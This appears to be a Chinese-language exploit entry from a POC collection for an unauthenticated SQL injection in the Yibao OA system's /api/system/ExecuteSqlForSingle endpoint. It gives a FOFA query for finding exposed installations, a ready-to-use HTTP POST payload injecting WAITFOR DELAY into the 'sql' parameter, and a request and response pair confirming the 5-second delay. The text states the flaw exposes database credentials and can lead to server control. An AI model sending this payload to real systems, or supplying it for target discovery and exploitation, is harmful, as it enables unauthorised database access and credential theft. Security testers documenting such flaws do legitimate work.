

## Y6-4易宝-OA-SQL

### 漏洞描述:

易宝OA ExecuteSqlForSingle、IsPartNumber接口处存在SQL注入漏洞, 未经身份认证的攻击者可以通过此漏洞获取数据库敏感信息, 用户名密码等凭据, 进一步利用可获取服务器权限

### 网站图片:



### 网络测绘:

#### fofa语法:

FOFA: product="顶讯科技-易宝OA系统"

### 漏洞复现:

#### payload:

```
POST /api/system/ExecuteSqlForSingle HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

token=zxh&sql=;WAITFOR DELAY '0:0:5'--&strParameters
```

#### 效果图:

延时5秒

Request

```
1 POST /api/system/ExecuteSqlForSingle HTTP/1.1
2 Host: :8000
3 Content-Type: application/x-www-form-urlencoded
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
5
6 token=zxh&sql=;WAITFOR DELAY '0:0:5'--&strParameters
```

Responses 60bytes / 5048ms

```
1 HTTP/1.1 200 OK
2 Cache-Control: no-cache
3 Pragma: no-cache
4 Content-Type: application/json; charset=utf-8
5 Expires: -1
6 Server: Microsoft-IIS/10.0
7 X-AspNet-Version: 4.0.30319
8 X-Powered-By: ASP.NET
9 Access-Control-Allow-Origin: *
10 Access-Control-Max-Age: 30
11 Access-Control-Allow-Methods: GET, POST, OPTIONS
12 Access-Control-Allow-Headers: Content-Type
13 Date: Thu, 30 Nov 2023 05:47:10 GMT
14 Content-Length: 60
15
16 {"data":null,"code":0,"message":"success",}
```